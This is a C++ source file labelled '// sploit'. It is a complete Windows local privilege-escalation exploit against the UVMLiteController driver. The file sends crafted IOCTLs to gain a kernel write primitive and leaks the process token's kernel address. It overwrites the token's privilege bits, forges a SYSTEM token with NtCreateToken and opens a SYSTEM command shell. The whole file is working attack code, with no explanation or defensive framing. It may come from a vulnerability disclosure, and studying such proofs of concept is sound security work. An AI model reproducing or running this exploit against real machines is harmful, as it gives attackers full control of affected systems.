// sploit
|
|
#include "stdafx.h"
|
|
#include <windows.h>
|
#include <winternl.h>
|
#include <sddl.h>
|
|
#include <string>
|
#include <memory>
|
|
#pragma comment(lib,"ntdll.lib")
|
|
typedef NTSTATUS (*NtCreateTokenFunc)(
|
OUT PHANDLE TokenHandle,
|
IN ACCESS_MASK DesiredAccess,
|
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
IN TOKEN_TYPE TokenType,
|
IN PLUID AuthenticationId,
|
IN PLARGE_INTEGER ExpirationTime,
|
IN PTOKEN_USER TokenUser,
|
IN PTOKEN_GROUPS TokenGroups,
|
IN PTOKEN_PRIVILEGES TokenPrivileges,
|
IN PTOKEN_OWNER TokenOwner,
|
IN PTOKEN_PRIMARY_GROUP TokenPrimaryGroup,
|
IN PTOKEN_DEFAULT_DACL TokenDefaultDacl,
|
IN PTOKEN_SOURCE TokenSource);
|
|
typedef struct _SYSTEM_HANDLE {
|
ULONG ProcessId;
|
BYTE ObjectTypeNumber;
|
BYTE Flags;
|
USHORT Handle;
|
PVOID Object;
|
ACCESS_MASK GrantedAccess;
|
} SYSTEM_HANDLE;
|
|
typedef struct _SYSTEM_HANDLE_INFORMATION {
|
ULONG HandleCount;
|
SYSTEM_HANDLE Handles[1];
|
} SYSTEM_HANDLE_INFORMATION;
|
|
bool IoControl(HANDLE handle, DWORD io_code, LPVOID input, DWORD input_size,
|
LPVOID output, DWORD output_size) {
|
|
if (!DeviceIoControl(handle, io_code, input, input_size,
|
output, output_size, nullptr, nullptr)) {
|
fprintf(stderr, "IOCTL failed: %d\n", GetLastError());
|
return false;
|
}
|
|
return true;
|
}
|
|
HANDLE OpenUvmDevice(const wchar_t* path) {
|
return CreateFileW(
|
path,
|
GENERIC_READ | GENERIC_WRITE,
|
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
nullptr,
|
OPEN_EXISTING,
|
FILE_ATTRIBUTE_NORMAL,
|
nullptr);
|
}
|
|
std::wstring CreateUvmLiteProcessDevice(HANDLE uvm_handle) {
|
wchar_t buf[130];
|
IoControl(uvm_handle, 0x22f000, nullptr, 0, buf, 260);
|
return buf;
|
}
|
|
bool CreateUvmControllerContext(HANDLE uvm_handle) {
|
DWORD input[32] = {};
|
|
input[0] = GetCurrentProcessId();
|
DWORD output[32] = {};
|
|
if (!IoControl(uvm_handle, 0x22e028, input, 32 * 4, output, 32 * 4)) {
|
return false;
|
}
|
|
return output[1] == 0;
|
}
|
|
// kernel write primitive.
|
bool KernelWrite32(HANDLE uvm_handle, uint64_t addr, DWORD value) {
|
if (value != 0 && value != 0xffff)
|
return false;
|
|
char buf[1024] = {};
|
|
if (value == 0) {
|
return IoControl(uvm_handle, 0x22fffc, buf, 1024,
|
reinterpret_cast<LPVOID>(addr), 0);
|
}
|
|
addr -= 36;
|
memset(buf, 0xff, 1024);
|
return IoControl(uvm_handle, 0x22e038, buf, 1024, reinterpret_cast<LPVOID>(addr), 0);
|
}
|
|
HANDLE CreateSystemToken(HANDLE current_token) {
|
HMODULE module = LoadLibrary(L"ntdll.dll");
|
NtCreateTokenFunc NtCreateToken = (NtCreateTokenFunc)GetProcAddress(module, "NtCreateToken");
|
if (!NtCreateToken) {
|
fprintf(stderr, "Failed to find NtCreateToken.\n");
|
return nullptr;
|
}
|
|
LARGE_INTEGER never_expire;
|
OBJECT_ATTRIBUTES obj_attrs;
|
SECURITY_QUALITY_OF_SERVICE sqos = {};
|
sqos.Length = sizeof(sqos);
|
sqos.ContextTrackingMode = SECURITY_STATIC_TRACKING;
|
sqos.ImpersonationLevel = SecurityImpersonation;
|
|
InitializeObjectAttributes(&obj_attrs, nullptr, 0, nullptr, nullptr);
|
obj_attrs.SecurityQualityOfService = &sqos;
|
|
never_expire.QuadPart = -1;
|
PSID system_sid;
|
ConvertStringSidToSid(L"S-1-5-18", &system_sid);
|
|
PSID builtin_admins_sid;
|
ConvertStringSidToSid(L"S-1-5-32-544", &builtin_admins_sid);
|
|
PSID everyone_sid;
|
ConvertStringSidToSid(L"S-1-1-0", &everyone_sid);
|
|
PSID system_integrity_sid;
|
ConvertStringSidToSid(L"S-1-16-16384", &system_integrity_sid);
|
|
PSID authenticated_users_sid;
|
ConvertStringSidToSid(L"S-1-5-11", &authenticated_users_sid);
|
|
TOKEN_USER token_user = {};
|
token_user.User.Sid = system_sid;
|
|
TOKEN_SOURCE token_source = {};
|
TOKEN_OWNER token_owner = {};
|
token_owner.Owner = system_sid;
|
|
TOKEN_PRIMARY_GROUP primary_group = {};
|
primary_group.PrimaryGroup = builtin_admins_sid;
|
|
DWORD length;
|
GetTokenInformation(current_token, TokenPrivileges, nullptr, 0, &length);
|
|
std::unique_ptr<uint8_t[]> privileges_buf(new uint8_t[length]);
|
TOKEN_PRIVILEGES* token_privileges = (TOKEN_PRIVILEGES*)privileges_buf.get();
|
GetTokenInformation(current_token, TokenPrivileges, token_privileges, length, &length);
|
|
const size_t kNumGroups = 4;
|
std::unique_ptr<uint8_t[]> groups_buf(new uint8_t[4 + sizeof(SID_AND_ATTRIBUTES) * kNumGroups]);
|
TOKEN_GROUPS* token_groups = (TOKEN_GROUPS*)groups_buf.get();
|
token_groups->GroupCount = 4;
|
token_groups->Groups[0].Sid = builtin_admins_sid;
|
token_groups->Groups[0].Attributes = SE_GROUP_OWNER | SE_GROUP_ENABLED;
|
token_groups->Groups[1].Sid = everyone_sid;
|
token_groups->Groups[1].Attributes = SE_GROUP_ENABLED | SE_GROUP_MANDATORY;
|
token_groups->Groups[2].Sid = system_integrity_sid;
|
token_groups->Groups[2].Attributes = SE_GROUP_INTEGRITY_ENABLED | SE_GROUP_INTEGRITY;
|
token_groups->Groups[3].Sid = authenticated_users_sid;
|
token_groups->Groups[3].Attributes = SE_GROUP_ENABLED | SE_GROUP_MANDATORY;
|
|
LUID authentication_id = SYSTEM_LUID;
|
HANDLE result;
|
if (NtCreateToken(&result, TOKEN_ALL_ACCESS, &obj_attrs, TokenPrimary, &authentication_id,
|
&never_expire, &token_user, token_groups, token_privileges,
|
&token_owner, &primary_group, nullptr, &token_source)) {
|
fprintf(stderr, "Failed to create token: %d\n", GetLastError());
|
return nullptr;
|
}
|
|
return result;
|
}
|
|
int main() {
|
HANDLE handle = OpenUvmDevice(L"\\\\.\\UVMLiteController");
|
if (handle == INVALID_HANDLE_VALUE) {
|
fprintf(stderr, "Couldn't open UVM device.\n");
|
return 1;
|
}
|
|
std::wstring device = CreateUvmLiteProcessDevice(handle);
|
if (!device.size()) {
|
fprintf(stderr, "Couldn't create UVMLiteProcess device.\n");
|
return 1;
|
}
|
|
printf("Created %S\n", device.c_str());
|
|
// Open the device to prevent a kernel null deref.
|
HANDLE uvm_process_handle = OpenUvmDevice(device.c_str());
|
if (uvm_process_handle == INVALID_HANDLE_VALUE) {
|
fprintf(stderr, "Couldn't open UVMLiteProcess device.\n");
|
return 1;
|
}
|
|
if (!CreateUvmControllerContext(handle)) {
|
fprintf(stderr, "Couldn't create UVM controller context.\n");
|
return 1;
|
}
|
|
HANDLE self_process = GetCurrentProcess();
|
HANDLE token_handle;
|
if (!OpenProcessToken(self_process, MAXIMUM_ALLOWED, &token_handle)) {
|
fprintf(stderr, "failed to open own process token\n");
|
return 1;
|
}
|
|
size_t alloc_size = 16 * 1024;
|
SYSTEM_HANDLE_INFORMATION* handle_info = nullptr;
|
std::unique_ptr<uint8_t[]> handle_info_buf;
|
while (true) {
|
handle_info_buf.reset(new uint8_t[alloc_size]);
|
handle_info = (SYSTEM_HANDLE_INFORMATION*)(handle_info_buf.get());
|
if (!NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x10, handle_info, alloc_size, nullptr))
|
break;
|
|
alloc_size *= 2;
|
}
|
|
printf("token handle value = %u\n", token_handle);
|
DWORD proc_id = GetCurrentProcessId();
|
|
uint64_t kernel_token_address = 0;
|
for (DWORD i = 0; i < handle_info->HandleCount; ++i) {
|
if (handle_info->Handles[i].ProcessId != proc_id)
|
continue;
|
|
if ((HANDLE)handle_info->Handles[i].Handle == token_handle) {
|
kernel_token_address = (uint64_t)handle_info->Handles[i].Object;
|
}
|
}
|
|
if (!kernel_token_address) {
|
fprintf(stderr, "Failed to get kernel token address.\n");
|
return 1;
|
}
|
|
printf("kernel token address = %I64x\n", kernel_token_address);
|
|
// At least on Windows 10 10586.589
|
const size_t kTokenPrivilegesOffset = 0x40;
|
printf("Assuming offset to _SEP_TOKEN_PRIVILEGES is 0x%x\n", kTokenPrivilegesOffset);
|
printf("Overwriting privileges.\n");
|
|
// Overwrite Present/Enabled (2 64bit values)
|
for (size_t i = 0; i < 2*8; i += 2)
|
KernelWrite32(handle, kernel_token_address + kTokenPrivilegesOffset + i, 0xffff);
|
|
// Should have all privileges at this point.
|
|
printf("Creating a SYSTEM token and dropping you into cmd...\n\n");
|
HANDLE system_token = CreateSystemToken(token_handle);
|
if (!system_token) {
|
return 1;
|
}
|
|
STARTUPINFO startup_info = {};
|
PROCESS_INFORMATION process_info = {};
|
if (!CreateProcessAsUser(
|
system_token, L"C:\\windows\\system32\\cmd.exe", nullptr,
|
nullptr, nullptr, FALSE, CREATE_BREAKAWAY_FROM_JOB, nullptr, nullptr,
|
&startup_info, &process_info)) {
|
fprintf(stderr, "Failed to start cmd: %d.\n", GetLastError());
|
return 1;
|
}
|
return 0;
|
}
|